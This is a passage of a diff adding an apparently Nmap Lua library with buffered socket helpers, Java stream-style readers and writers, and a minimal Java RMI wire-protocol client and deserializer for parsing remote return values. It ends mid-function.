+-- local breader= BufferedReader:new(socket)
+--
+-- bWriter.pack('>i4', integer)
+-- bWriter.flush() -- sends the data
+--
+-- if bsocket:canRead(4) then -- Waits until four bytes can be read
+-- local packetLength = bsocket:unpack('>i4') -- Read the four bytess
+-- if bsocket:canRead(packetLength) then
+-- -- ...continue reading packet values
+
+BufferedWriter = {
+ new = function(self, socket)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.writeBuffer = ''
+ o.pos = 1
+ o.socket = socket
+ return o
+ end,
+
+ -- Sends data over the socket
+ -- (Actually, just buffers until flushed)
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ send = function( self, data )
+ self.writeBuffer = self.writeBuffer .. data
+ end,
+ -- Convenience function, wraps string.pack
+ pack = function(self, fmt, ... )
+ local arg={...}
+ self.writeBuffer = self.writeBuffer .. string.pack( fmt, table.unpack(arg))
+ end,
+
+ -- This function flushes the buffer contents, thereby emptying
+ -- the buffer. If a socket has been supplied, that's where it will be sent
+ -- otherwise the buffer contents are returned
+ --@return status
+ --@return content of buffer, in case no socket was used
+ flush = function(self)
+
+ local content = self.writeBuffer
+ self.writeBuffer = ''
+
+ if not self.socket then
+ return true, content
+ end
+ return self.socket:send(content)
+ end,
+
+}
+---
+-- BufferedReader reads data from the supplied socket and contains functionality
+-- to read all that is available and store all that is not currently needed, so the caller
+-- gets an exact number of bytes (which is not the case with the basic nmap socket implementation)
+-- If not enough data is available, it blocks until data is received, thereby handling the case
+-- if data is spread over several tcp packets (which is a pitfall for many scripts)
+--
+-- It wraps string.unpack for the reading.
+-- OBS! You need to check before invoking skip or unpack that there is enough
+-- data to read. Since this class does not parse arguments to unpack, it does not
+-- know how much data to read ahead on those calls.
+--@usage:
+-- local bWriter = BufferedWriter:new(socket)
+-- local breader= BufferedReader:new(socket)
+--
+-- bWriter.pack('>i4', integer)
+-- bWriter.flush() -- sends the data
+--
+-- if bsocket:canRead(4) then -- Waits until four bytes can be read
+-- local packetLength = bsocket:unpack('>i4') -- Read the four bytess
+-- if bsocket:canRead(packetLength) then
+-- -- ...continue reading packet values
+
+BufferedReader = {
+ new = function(self, socket, readBuffer)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.readBuffer = readBuffer -- May be nil
+ o.pos = 1
+ o.socket = socket -- May also be nil
+ return o
+ end,
+ ---
+ -- This method blocks until the specified number of bytes
+ -- have been read from the socket and are available for
+ -- the caller to read, e.g via the unpack function
+ canRead= function(self,count)
+ local status, data
+ self.readBuffer = self.readBuffer or ""
+ local missing = self.pos + count - #self.readBuffer -1
+ if ( missing > 0) then
+ if self.socket == nil then
+ return doh("Not enough data in static buffer")
+ end
+
+ status, data = self.socket:receive_bytes( missing )
+ if ( not(status) ) then
+ return false, data
+ end
+ self.readBuffer = self.readBuffer .. data
+ end
+ -- Now and then, we flush the buffer
+ if ( self.pos > 1024) then
+ self.readBuffer = self.readBuffer:sub( self.pos )
+ self.pos = 1
+ end
+ return true
+ end,
+ ---
+ --@return Returns the number of bytes already available for reading
+ bufferSize = function(self)
+ return #self.readBuffer +1 -self.pos
+ end,
+ ---
+ -- This function works just like string.unpack (in fact, it is
+ -- merely a wrapper around it. However, it uses the data
+ -- already read into the buffer, and the internal position
+ --@param format
+ --@return the unpacked value (NOT the index)
+ unpack = function(self,format)
+ local ret = {string.unpack(format, self.readBuffer, self.pos)}
+ self.pos = ret[#ret]
+ ret[#ret] = nil
+ return table.unpack(ret)
+ end,
+ ---
+ -- This function works just like string.unpack (in fact, it is
+ -- merely a wrapper around it. However, it uses the data
+ -- already read into the buffer, and the internal position.
+ -- This method does not update the current position, and the
+ -- data can be read again
+ --@param format
+ --@return the unpacked value (NOT the index)
+ peekUnpack = function(self,format)
+ return string.unpack(format, self.readBuffer, self.pos)
+ end,
+ ---
+ -- Tries to read a byte, without consuming it.
+ --@return status
+ --@return bytevalue
+ peekByte = function(self)
+ if self:canRead(1) then
+ return true, self:peekUnpack('B')
+ end
+ return false
+ end,
+ ---
+ -- Skips a number of bytes
+ --@param len the number of bytes to skip
+ skip = function(self, len)
+ if(#self.readBuffer < len + self.pos) then
+ return doh("ERROR: reading too far ahead")
+ end
+ local skipped = self.readBuffer:sub(self.pos, self.pos+len-1)
+ self.pos = self.pos + len
+ return true, skipped
+ end,
+
+}
+
+-- The classes are generated when this file is loaded, by the definitions in the JavaTypes
+-- table. That table contains mappings between the format used by string.pack and the types
+-- available in java, as well as the lengths (used for availability-checks) and the name which
+-- is prefixed by read* or write* when monkey-patching the classes and adding functions.
+-- For example: {name = 'Int', expr = '>i', len= 4}, will generate the functions
+-- writeInt(self, value) and readInt() respectively
+
+local JavaTypes = {
+ {name = 'Int', expr = '>i4', len= 4},
+ {name = 'UnsignedInt', expr = '>I4', len= 4},
+ {name = 'Short', expr = '>i2', len= 2},
+ {name = 'UnsignedShort', expr = '>I2', len= 2},
+ {name = 'Long', expr = '>i8', len= 8},
+ {name = 'UnsignedLong', expr = '>I8', len= 8},
+ {name = 'Byte', expr = '>B', len= 1},
+}
+
+---
+-- The JavaDOS classes
+-- The JavaDOS class is an approximation of a java DataOutputStream. It provides convenience functions
+-- for writing java types to an underlying BufferedWriter
+--
+-- When used in conjunction with the BufferedX- classes, they handle the availability-
+-- checks transparently, i.e the caller does not have to check if enough data is available
+--
+-- @usage:
+-- local dos = JavaDOS:new(BufferedWriter:new(socket))
+-- local dos = JavaDIS:new(BufferedReader:new(socket))
+-- dos:writeUTF("Hello world")
+-- dos:writeInt(3)
+-- dos:writeLong(3)
+-- dos:flush() -- send data
+-- local answer = dis:readUTF()
+-- local int = dis:readInt()
+-- local long = dis:readLong()
+
+JavaDOS = {
+ new = function (self,bWriter)
+ local o = {} -- create new object if user does not provide one
+ setmetatable(o, self)
+ self.__index = self -- DIY inheritance
+ o.bWriter = bWriter
+ return o
+ end,
+ -- This closure method generates all writer methods on the fly
+ -- according to the definitions in JavaTypes
+ _generateWriterFunc = function(self, javatype)
+ local functionName = 'write'..javatype.name
+ local newFunc = function(_self, value)
+ --dbg(functionName .."(%s) called" ,tostring(value))
+ return _self:pack(javatype.expr, value)
+ end
+ self[functionName] = newFunc
+ end,
+
+ writeUTF = function(self, text)
+ -- TODO: Make utf-8 of it
+ return self:pack('>s2', text)
+ end,
+ pack = function(self, ...)
+ local arg={...}
+ return self.bWriter:pack(table.unpack(arg))
+ end,
+ write = function(self, data)
+ return self.bWriter:send(data)
+ end,
+ flush = function(self)
+ return self.bWriter:flush()
+ end,
+}
+
+---
+-- The JavaDIS class
+-- JavaDIS is close to java DataInputStream. It provides convenience functions
+-- for reading java types from an underlying BufferedReader
+--
+-- When used in conjunction with the BufferedX- classes, they handle the availability-
+-- checks transparently, i.e the caller does not have to check if enough data is available
+--
+-- @usage:
+-- local dos = JavaDOS:new(BufferedWriter:new(socket))
+-- local dos = JavaDIS:new(BufferedReader:new(socket))
+-- dos:writeUTF("Hello world")
+-- dos:writeInt(3)
+-- dos:writeLong(3)
+-- dos:flush() -- send data
+-- local answer = dis:readUTF()
+-- local int = dis:readInt()
+-- local long = dis:readLong()
+JavaDIS = {
+ new = function (self,bReader)
+ local o = {} -- create new object if user does not provide one
+ setmetatable(o, self)
+ self.__index = self -- DIY inheritance
+ o.bReader = bReader
+ return o
+ end,
+
+ -- This closure method generates all reader methods (except nonstandard ones) on the fly
+ -- according to the definitions in JavaTypes.
+ _generateReaderFunc = function(self, javatype)
+ local functionName = 'read'..javatype.name
+ local newFunc = function(_self)
+ --dbg(functionName .."() called" )
+ if not _self.bReader:canRead(javatype.len) then
+ local err = ("Not enough data in buffer (%d required by %s)"):format(javatype.len, functionName)
+ return doh(err)
+ end
+ return true, _self.bReader:unpack(javatype.expr)
+ end
+ self[functionName] = newFunc
+ end,
+ -- This is a bit special, since we do not know beforehand how many bytes must be read. Therefore
+ -- this cannot be generated on the fly like the others.
+ readUTF = function(self, text)
+ -- First, we need to read the length, 2 bytes
+ if not self.bReader:canRead(2) then-- Length of the string is two bytes
+ return false, "Not enough data in buffer [0]"
+ end
+ -- We do it as a 'peek', so string.unpack can reuse the data to unpack with '>s2'
+ local len = self.bReader:peekUnpack('>I2')
+ --dbg("Reading utf, len %d" , len)
+ -- Check that we have data
+ if not self.bReader:canRead(len) then
+ return false, "Not enough data in buffer [1]"
+ end
+ -- For some reason, the 'P' switch does not work for me.
+ -- Probably some idiot thing. This is a hack:
+ local val = self.bReader.readBuffer:sub(self.bReader.pos+2, self.bReader.pos+len+2-1)
+ self.bReader.pos = self.bReader.pos+len+2
+ -- Someone smarter than me can maybe get this working instead:
+ --local val = self.bReader:unpack('>s2')
+ --dbg("Read UTF: %s", val)
+ return true, val
+ end,
+ readLongAsHexString = function(self)
+ if not self.bReader:canRead(8) then-- Length of the string is two bytes
+ return false, "Not enough data in buffer [3]"
+ end
+ return true, stdnse.tohex(self.bReader:unpack('c8'))
+
+ end,
+ skip = function(self, len)
+ return self.bReader:skip(len)
+ end,
+ canRead = function(self, len)
+ return self.bReader:canRead(len)
+ end,
+}
+
+-- Generate writer-functions on the JavaDOS/JavaDIS classes on the fly
+for _,x in ipairs(JavaTypes) do
+ JavaDOS._generateWriterFunc(JavaDOS, x)
+ JavaDIS._generateReaderFunc(JavaDIS, x)
+end
+---
+-- This class represents a java class and is what is returned by the library
+-- when invoking a remote function. Therefore, this can also represent a java
+-- object instance.
+JavaClass = {
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ customDataFormatter = nil,
+
+ setName = function( self, name )
+ dbg("Setting class name to %s", name)
+ self.name = name
+ end,
+ setSerialID = function( self, serial ) self.serial = serial end,
+ setFlags = function( self, flags )
+ self.flags = RMIUtils.flagsToString(flags)
+ self._binaryflags = flags
+ end,
+
+ isExternalizable = function(self)
+ if self._binaryFlags == nil then return false end
+
+ return (self._binaryflags & RMIUtils.SC_EXTERNALIZABLE)
+ end,
+
+ addField = function( self, field )
+ if self.fields == nil then self.fields = {} end
+ table.insert( self.fields, field )
+ --self[field.name] = field
+ end,
+ setSuperClass = function(self,super) self.superClass = super end,
+
+ setCustomData = function(self, data) self.customData = data end,
+ getCustomData = function(self) return self.customData end,
+
+ setInterfaces = function(self,ifaces) self.ifaces = ifaces end,
+ getName = function( self ) return self.name end,
+ getSuperClass = function(self) return self.superClass end,
+ getSerialID = function( self ) return self.serial end,
+ getFlags = function( self ) return self.flags end,
+ getFields = function( self ) return self.fields end,
+ getFieldByName = function( self, name )
+ if self.fields == nil then return end
+ for i=1, #self.fields do
+ if ( self.fields[i].name == name ) then
+ return self.fields[i]
+ end
+ end
+ end,
+
+ __tostring = function( self )
+ local data = {}
+ if self.name ~=nil then
+ data[#data+1] = ("%s "):format(self.name)
+ else
+ data[#data+1] = "???"
+ end
+ if self.superClass~=nil then
+ data[#data+1] = " extends ".. tostring( self.superClass)
+ end
+ if self.ifaces ~= nil then
+ data[#data+1] = " implements " .. self.ifaces
+ end
+ if self.fields ~=nil then
+ for i=1, #self.fields do
+ if i == 1 then
+ data[#data+1] = "["
+ end
+ data[#data+1] = tostring(self.fields[i])
+ if ( i < #self.fields ) then
+ data[#data+1] = ";"
+ else
+ data[#data+1] = "]"
+ end
+
+ end
+ end
+ return table.concat(data)
+ end,
+ toTable = function(self, customDataFormatter)
+ local data = {self.name}
+
+ if self.externalData ~=nil then
+ table.insert(data, tostring(self.externalData))
+ end
+
+ --if self.name ~=nil then
+ -- data.class = self.name
+ --end
+ if self.ifaces ~= nil then
+ table.insert(data, " implements " .. self.ifaces)
+ end
+
+ if self.superClass~=nil then
+ local extends = self.superClass:toTable()
+ table.insert(data ,"extends")
+ table.insert(data, extends)
+ --data.extends = self.superClass:toTable()
+ end
+ if self.fields ~=nil then
+ table.insert(data, "fields")
+ local f = {}
+ for i=1, #self.fields do
+ table.insert(f, self.fields[i]:toTable())
+ end
+ table.insert(data, f)
+ end
+
+ if self.customData ~=nil then
+ local formatter = JavaClass['customDataFormatter']
+ if formatter ~= nil then
+ local title, cdata = formatter(self.name, self.customData)
+ table.insert(data, title)
+ table.insert(data, cdata)
+ else
+ table.insert(data, "Custom data")
+ table.insert(data, self.customData)
+ end
+ end
+
+ return data
+
+ end,
+
+}
+--- Represents a field in an object, i.e an object member
+JavaField = {
+
+ new = function(self, name, typ )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.name = name
+ o.type = typ
+ return o
+ end,
+
+ setType = function( self, typ ) self.type = typ end,
+ setSignature = function( self, sig ) self.signature = sig end,
+ setName = function( self, name ) self.name = name end,
+ setObjectType = function( self, ot ) self.object_type = ot end,
+ setReference = function( self, ref ) self.ref = ref end,
+ setValue = function (self, val)
+ dbg("Setting field value to %s", tostring(val))
+ self.value = val
+
+ end,
+
+ getType = function( self ) return self.type end,
+ getSignature = function( self ) return self.signature end,
+ getName = function( self ) return self.name end,
+ getObjectType = function( self ) return self.object_type end,
+ getReference = function( self ) return self.ref end,
+ getValue = function( self ) return self.value end,
+
+ __tostring = function( self )
+ if self.value ~= nil then
+ return string.format("%s %s = %s", self.type, self.name, self.value)
+ else
+ return string.format("%s %s", self.type, self.name)
+ end
+ end,
+ toTable = function(self)
+ local data = {tostring(self.type) .. " " .. tostring(self.name)}
+ --print("FIELD VALUE:", self.value)
+ if self.value ~= nil then
+ if type(self.value) == 'table' then
+ if self.value.toTable ~=nil then
+ table.insert(data, self.value:toTable())
+ else
+ table.insert(data, self.value)
+ end
+ else
+ table.insert(data, self.value)
+ end
+ end
+ return data
+ end,
+
+}
+---
+-- Represents a java array. Internally, this is a lua list of JavaClass-instances
+JavaArray = {
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.values = {}
+ return o
+ end,
+ setClass = function( self, class ) self.class = class end,
+ setLength = function( self, length ) self.length = length end,
+ setValue = function(self, index, object) self.values[index] = object end,
+ __tostring=function(self)
+ local data = {
+ ("Array: %s [%d] = {"):format(tostring(self.class), self.length)
+ }
+
+ for i=1, #self.values do
+ data[#data+1] = self.values[i]..","
+ end
+ data[#data+1] = "}"
+ return table.concat(data)
+ end,
+ toTable = function(self)
+ local title = ("Array: %s [%d] = {"):format(tostring(self.class), self.length)
+ local t = {title = self.values}
+ return t
+ end,
+
+ getValues = function(self) return self.values end
+}
+
+
+
+
+
+TC = {
+ TC_NULL = 0x70,
+ TC_REFERENCE = 0x71,
+ TC_CLASSDESC = 0x72,
+ TC_OBJECT = 0x73,
+ TC_STRING = 0x74,
+ TC_ARRAY = 0x75,
+ TC_CLASS = 0x76,
+ TC_BLOCKDATA = 0x77,
+ TC_ENDBLOCKDATA = 0x78,
+ TC_RESET = 0x79,
+ TC_BLOCKDATALONG = 0x7A,
+ TC_EXCEPTION = 0x7B,
+ TC_LONGSTRING = 0x7C,
+ TC_PROXYCLASSDESC = 0x7D,
+ TC_ENUM = 0x7E,
+
+ Integer = 0x49,
+ Object = 0x4c,
+
+ Strings = {
+ [0x49] = "Integer",
+ [0x4c] = "Object",
+ [0x71] = "TC_REFERENCE",
+ [0x70] = "TC_NULL",
+ [0x71] = "TC_REFERENCE",
+ [0x72] = "TC_CLASSDESC",
+ [0x73] = "TC_OBJECT",
+ [0x74] = "TC_STRING",
+ [0x75] = "TC_ARRAY",
+ [0x76] = "TC_CLASS",
+ [0x77] = "TC_BLOCKDATA",
+ [0x78] = "TC_ENDBLOCKDATA",
+ [0x79] = "TC_RESET",
+ [0x7A] = "TC_BLOCKDATALONG",
+ [0x7B] = "TC_EXCEPTION",
+ [0x7C] = "TC_LONGSTRING",
+ [0x7D] = "TC_PROXYCLASSDESC",
+ [0x7E] = "TC_ENUM",
+ },
+
+}
+
+local Version= 0x02
+local Proto= {Stream=0x4b, SingleOp=0x4c, Multiplex=0x4d}
+
+---
+-- RmiDataStream class
+-- This class can handle reading and writing JRMP, i.e RMI wire protocol and
+-- can do some very limited java deserialization. This implementation has
+-- borrowed from OpenJDK RMI implementation, but only implements an
+-- absolute minimum of what is required in order to perform some basic calls
+--
+
+RmiDataStream = {
+ new = function (self,o)
+ o = o or {} -- create object if user does not provide one
+ setmetatable(o, self)
+ self.__index = self -- DIY inheritance
+ return o
+ end,
+}
+-- An output stream in RMI consists of transport Header information followed by a sequence of Messages.
+-- Out:
+-- Header Messages
+-- HttpMessage
+-- Header:
+-- 0x4a 0x52 0x4d 0x49 Version Protocol
+-- (4a 52 4d 49 === JRMI)
+-- Version:
+-- 0x00 0x01
+-- Protocol:
+-- StreamProtocol
+-- SingleOpProtocol
+-- MultiplexProtocol
+-- StreamProtocol:
+-- 0x4b
+-- SingleOpProtocol:
+-- 0x4c
+-- MultiplexProtocol:
+-- 0x4d
+-- Messages:
+-- Message
+-- Messages Message
+
+----
+-- Connects to a remote service. The connection process creates a
+-- socket and does some handshaking. If this is successful,
+-- we are definitely talking to an RMI service.
+function RmiDataStream:connect(host, port)
+ local status, err
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ -- local bsocket = BufferedSocket:new()
+ socket:connect(host,port, "tcp")
+
+ -- Output and input
+ local dos = JavaDOS:new(BufferedWriter:new(socket))
+ local dis = JavaDIS:new(BufferedReader:new(socket))
+
+ -- Start sending a message --
+ -- Add Header, Version and Protocol
+
+ dos:writeInt(1246907721) -- == JRMI
+ dos:writeShort(Version)
+ dos:writeByte(Proto.Stream)
+ status = dos:flush()
+ if not status then
+ return doh(err)
+ end
+
+ -- For the StreamProtocol and the MultiplexProtocol, the server must respond with a a byte 0x4e
+ -- acknowledging support for the protocol, and an EndpointIdentifier that contains the host name
+ -- and port number that the server can see is being used by the client.
+ -- The client can use this information to determine its host name if it is otherwise unable to do that for security reasons.
+
+ -- Read ack
+ status, err = self:readAck(dis)
+ if not status then
+ return doh("No ack received from server:" .. tostring(err))
+ end
+
+ -- The client must then respond with another EndpointIdentifier that contains the clients
+ -- default endpoint for accepting connections. This can be used by a server in the MultiplexProtocol case to identify the client.
+
+ dos:writeUTF("127.0.0.1") -- TODO, write our own ip instead (perhaps not necessary, since we are not using MultiplexProtocol
+ dos:writeInt(0) -- Port ( 0 works fine)
+ dos:flush()
+ self.dos = dos
+ self.dis =dis
+ return true
+end
+
+-- Reads a DgcAck message, which is sent during connection handshake
+--@param dis - a JavaDIS to read from
+--@return status
+--@return error message
+function RmiDataStream:readAck(dis)
+ local status, ack = dis:readByte()
+
+ if not status then return doh( "Could not read data") end
+
+ if ack ~= 78 then
+ return doh("No ack received: ".. tostring(ack))
+ end
+ local status, host = dis:readUTF()
+ if not status then return false, "Could not read data" end
+ local status, port = dis:readUnsignedInt()
+ if not status then return false, "Could not read data" end
+
+ dbg("RMI-Ack received (host %s, port: %d) " , host, port)
+ return true
+end
+
+-- Sends an RMI method call
+--@param out - a JavaDos outputstream
+--@param objNum -object id (target of call)
+--@param hash - the hashcode for the class that is invoked
+--@param op - the operation number (method) invoked
+--@param arguments - optional, if arguments are needed to this method. Should be an Arguments table
+-- or something else which has a getData() function to get binary data
+function RmiDataStream:writeMethodCall(out,objNum, hash, op, arguments)
+ dbg("Invoking object %s, hash %s, opNum %s, args %s", tostring(objNum), tostring(hash), tostring(op), tostring(arguments))
+ local dos = self.dos
+ local dis = self.dis
+
+ -- Send Call:
+ dos:writeByte(0x50)
+ -- Send Magic 0xaced
+ dos:writeUnsignedShort(0xACED)
+ -- Send version 0x0005
+ dos:writeShort(0x0005)
+ -- Send TC_BLOKDATA
+ dos:writeByte(0x77)
+
+ -- send length (byte)
+ dos:writeByte(0x22)
+
+ -- From sun.rmi.transport.StreamRemoteCall :
+ -- // write out remote call header info...
+ -- // call header, part 1 (read by Transport)
+ -- conn.getOutputStream().write(TransportConstants.Call);
+ -- getOutputStream(); // creates a MarshalOutputStream
+ -- id.write(out); // object id (target of call)
+ -- // call header, part 2 (read by Dispatcher)
+ -- out.writeInt(op); // method number (operation index)
+ -- out.writeLong(hash); // stub/skeleton hash
+ -- Send rest of the call
+
+ local unique, time, count =0,0,0
+
+ dos:writeLong(objNum);-- id objNum
+ dos:writeInt(unique); -- space
+ dos:writeLong(time);
+ dos:writeShort(count);
+ dos:writeInt(op)
+ dos:write(stdnse.fromhex(hash))
+
+ -- And now, the arguments
+ if arguments ~= nil then
+ dos:write(arguments:getData())
+ end
+
+
+ dos:flush()
+
+end
+---
+-- Invokes a method over RMI
+--@param methodData, a table which should contain the following
+--@param objNum -object id (target of call)
+--@param hash - the hashcode for the class that is invoked
+--@param op - the operation number (method) invoked
+--@param arguments - optional, if arguments are needed to this method. Should be an Arguments table
+-- or something else which has a getData() function to get binary data
+--@return status
+--@return a JavaClass instance
+function RmiDataStream:invoke(objNum, hash, op, arguments)
+ local status, data
+ local out = self.out
+ local dis = self.dis
+ self:writeMethodCall(out,objNum,hash, op, arguments)
+ local status, retByte = dis:readByte()
+ if not status then return false, "No return data received from server" end
+
+ if 0x51 ~= retByte then -- 0x51 : Returndata
+ return false, "No return data received from server"
+ end
+
+ status, data = self:readReturnData(dis)
+ return status, data
+end
+
+---
+-- Reads an RMI ReturnData packet
+--@param dis a JavaDIS inputstream
+function RmiDataStream:readReturnData(dis)
+
+ --[[
+ From -http://turtle.ee.ncku.edu.tw/docs/java/jdk1.2.2/guide/rmi/spec/rmi-protocol.doc3.html :
+ A ReturnValue of an RMI call consists of a return code to indicate either a normal or
+ exceptional return, a UniqueIdentifier to tag the return value (used to send a DGCAck if necessary)
+ followed by the return result: either the Value returned or the Exception thrown.
+
+
+ CallData: ObjectIdentifier Operation Hash (Arguments)
+ ReturnValue:
+ 0x01 UniqueIdentifier (Value)
+ 0x02 UniqueIdentifier Exception
+
+ ObjectIdentifier: ObjectNumber UniqueIdentifier
+ UniqueIdentifier: Number Time Count
+ Arguments: Value Arguments Value
+ Value: Object Primitive
+
+ Example: [ac ed][00 05][77][0f][01][25 14 95 21][00 00 01 2b 16 9a 62 5a 80 0b]
+ [magc][ver ][BL][L ][Ok][ --------------- not interesting atm ----------------------]
+
+ --]]
+
+ -- We need to be able to read at least 7 bytes
+ -- If that is doable, we can ignore the status on the following readbyte operations
+ if not dis:canRead(7) then
+ return doh("Not enough data received")
+ end
+
+ local status, magic = dis:readUnsignedShort() -- read magic
+ local status, version = dis:readShort() -- read version
+
+
+ local status, typ = dis:readByte()
+ if typ ~= TC.TC_BLOCKDATA then
+ return doh("Expected block data when reading return data")
+ end
+ local status, len = dis:readByte() -- packet length
+ --dis:setReadLimit(len)
+ local status, ex = dis:readByte() -- 1=ok, 2=exception thrown
+ if ex ~= 1 then
+ return doh("Remote call threw exception")
+ end
+
+ -- We can skip the rest of this block
+ dis:skip(len -1)
+
+ -- Now, the return value object:
+ local status, x = readObject0(dis)
+ dbg("Read object, got %d left in buffer", dis.bReader:bufferSize())
+
+
+ if(dis.bReader:bufferSize() > 0) then
+ local content = dis.bReader:unpack('c'..tostring(dis.bReader:bufferSize()))
+ dbg("Buffer content: %s", stdnse.tohex(content))
+ end
+ return status, x
+end
+---
+-- Deserializes a serialized java object
+function readObject0(dis)
+
+ local finished = false
+ local data, status, responseType
+
+ status, responseType = dis:readByte()
+ if not status then
+ return doh("Not enough data received")
+ end
+
+ dbg("Reading object of type : %s" , RMIUtils.tcString(responseType))
+ local decoder = TypeDecoders[responseType]
+ if decoder ~= nil then
+ status, data = decoder(dis)
+ if not status then return doh("readObject0: Could not read data %s", tostring(data)) end
+ dbg("Read: %s", tostring(data))
+ return true, data
+ else
+ return doh("No decoder found for responsetype: %s" , RMIUtils.tcString(responseType))
+ end
+end
+function readString(dis)
+ return dis:readUTF()
+end
+-- Reads return type array
+function readArray(dis)
+ local array = JavaArray:new()
+ dbg("Reading array class description")
+ local status, classDesc = readClassDesc(dis)
+ array:setClass(classDesc)
+ dbg("Reading array length")
+ local status, len = dis:readInt()
+
+ if not status then
+ return doh("Could not read data")
+ end
+
+ array:setLength(len)
+ dbg("Reading array of length is %X", len)
+ for i =1, len, 1 do
+ local status, object = readObject0(dis)
+ array:setValue(i,object)
+ end
+ return true, array
+end
+
+function readClassDesc(dis)
+ local status, p = dis:readByte()
+ if not status then return doh( "Could not read data" ) end
+
+ dbg("reading classdesc: %s" , RMIUtils.tcString(p))
+
+ local val
+
+ if p == TC.TC_CLASSDESC then
+ dbg("Reading TC_CLASSDESC")
+ status, val = readNonProxyDesc(dis)
+ elseif p == TC.TC_NULL then
+ dbg("Reading TC_NULL")
+ status, val = true, nil
+ elseif p == TC.TC_PROXYCLASSDESC then
+ dbg("Reading TC_PROXYCLASSDESC")
+ status, val = readProxyDesc(dis)
+ else
+ return doh("TC_classdesc is other %d", p)
+ end
+
+ if not status then
+ return doh("Error reading class description")
+ end
+ return status, val
+
+
+end
+function readOrdinaryObject(dis)
+ local status, desc = readClassDesc(dis)
+ if not status then
+ return doh("Error reading ordinary object")
+ end
+
+
+ if desc:isExternalizable() then
+ dbg("External content")
+ local status, extdata = readExternalData(dis)
+ if status then
+ desc["externalData"] = extdata
+ end
+ else
+ dbg("Serial content")
+ local status, serdata = readExternalData(dis)
+ if status then
+ desc["externalData"] = serdata
+ local status, data =parseExternalData(desc)
+ if status then
+ desc['externalData'] = data
+ end
+ end
+ end
+ return status, desc
+
+end
+
+-- Attempts to read some object-data, at least remove the block
+-- header. This method returns the external data in 'raw' form,
+-- since it is up to each class to define an readExternal method
+function readExternalData(dis)
+ local data = {}
+ while dis.bReader:bufferSize() > 0 do
+ local status, tc= dis:readByte()
+ if not status then
+ return doh("Could not read external data")
+ end
+ dbg("readExternalData: %s", RMIUtils.tcString(tc))
+ local status, len, content
+ if tc == TC.TC_BLOCKDATA then
+ status, len = dis:readByte()
+ status, content = dis.bReader:skip(len)
+ --print(makeStringReadable(content))
+ dbg("Read external data (%d bytes): %s " ,len, content)
+ --local object = ExternalClassParsers['java.rmi.server.RemoteObject'](dis)
+ --print(object)
+ return status, content
+ elseif tc == TC.TC_BLOCKDATALONG then
+ status, len = dis:readUnsignedInt()
+ status, content = dis.bReader:skip(len)
+ return status, content
+ elseif tc == TC.TC_ENDBLOCKDATA then
+ --noop
+ else
+ return doh("Got unexpected field in readExternalData: %s ", RMIUtils.tcString(tc))
+ end
+ end
+end
+
+----
+-- ExternalClassParsers : External Java Classes
+-- This 'class' contains information about certain specific java classes,
+-- such as UnicastRef, UnicastRef2. After such an object has been read by
+-- the object serialization protocol, it will contain a lump of data which is
+-- in 'external' form, and needs to be read in a way which is specific for the class
+-- itself. This class contains the implementations for reading out the
+-- 'goodies' of e.g UnicastRef, which contain important information about
+-- where another RMI-socket is listening and waiting for someone to connect.
+ExternalClassParsers = {
+ ---
+ --@see sun.rmi.transport.tcp.TCPEndpoint
+ --@see sun.rmi.server.UnicastRef
+ --@see sun.rmi.server.UnicastRef2
+ UnicastRef = function(dis)
+ local sts_host, host = dis:readUTF()
+ if not sts_host then
+ return doh("Parsing external data, could not read host (UTF)")
+ end
+ local sts_port, port = dis:readUnsignedInt()
+ if not sts_port then
+ return doh("Parsing external data, could not read port (int)")
+ end
+ dbg("a host: %s, port %d", host, port)
+ return true, ("@%s:%d"):format(host,port)
+ end,
+ ---
+ --@see sun.rmi.transport.tcp.TCPEndpoint
+ --@see sun.rmi.server.UnicastRef
+ --@see sun.rmi.server.UnicastRef2
+ UnicastRef2 = function(dis)
+ local sts_form, form = dis:readByte()
+ if not sts_form then
+ return doh("Parsing external data, could not read byte")
+ end
+ if not (form == 0 or form == 1) then-- FORMAT_HOST_PORT or FORMAT_HOST_PORT_FACTORY
+ return doh("Invalid endpoint format")
+ end
+ local sts_host, host = dis:readUTF()
+ if not sts_host then
+ return doh("Parsing external data, could not read host (UTF)")
+ end
+ local sts_port, port = dis:readUnsignedInt()
+ if not sts_port then
+ return doh("Parsing external data, could not read port (int)")
+ end
+ dbg("b host: %s, port %d", host, port)
+ if form == 0 then
+ return true, ("@%s:%d"):format(host,port)
+ end
+ -- for FORMAT_HOST_PORT_FACTORY, there's an object left to read
+ local sts_object, object = readObject0(dis)
+ return true, ("@%s:%d"):format(host,port)
+ --return true, {host = host, port = port, factory = object}
+ end
+}
+--@see java.rmi.server.RemoteObject:readObject()
+ExternalClassParsers['java.rmi.server.RemoteObject'] = function(dis)
+ local status, refClassName = dis:readUTF()
+ if not status then return doh("Parsing external data, could not read classname (UTF)") end
+ if #refClassName == 0 then
+ local status, ref = readObject0(dis)
+ return status, ref
+ end
+ dbg("Ref class name: %s ", refClassName)
+ local parser = ExternalClassParsers[refClassName]
+
+ if parser == nil then
+ return doh("No external class reader for %s" , refClassName)
+ end
+
+ local status, object = parser(dis)
+ return status, object
+end
+
+-- Attempts to parse the externalized data of an object.
+--@return status, the object data
+function parseExternalData(j_object)
+
+ if j_object == nil then
+ return doh("parseExternalData got nil object")
+ end
+
+ local className = j_object:getName()
+
+ -- Find parser for the object, move up the hierarchy
+ local obj = j_object
+ local parser = nil
+ while(className ~= nil) do
+ parser = ExternalClassParsers[className]
+ if parser ~= nil then break end
+
+ obj = obj:getSuperClass()
+ if obj== nil then break end-- No more super classes
+ className = obj:getName()
+ end
+
+ if parser == nil then
+ return doh("External reader for class %s is not implemented", tostring(className))
+ end
+ -- Read the actual object, start by creating a new dis based on the data-string
+ local dis = JavaDIS:new(BufferedReader:new(nil,j_object.externalData))
+ local status, object = parser(dis)
+ if not status then
+ return doh("Could not parse external data")
+ end
+ return true, object
+end
+
+-- Helper function to display data
+-- returns the string with all non-printable chars
+-- coded as hex
+function makeStringReadable(data)
+ return data:gsub("[\x00-\x1f\x7f-\xff]", function (x)
+ return ("\\x%02x"):format(x:byte())
+ end)
+end
+
+function readNonProxyDesc(dis)
+ dbg("-- entering readNonProxyDesc--")
+ local j_class = JavaClass:new()
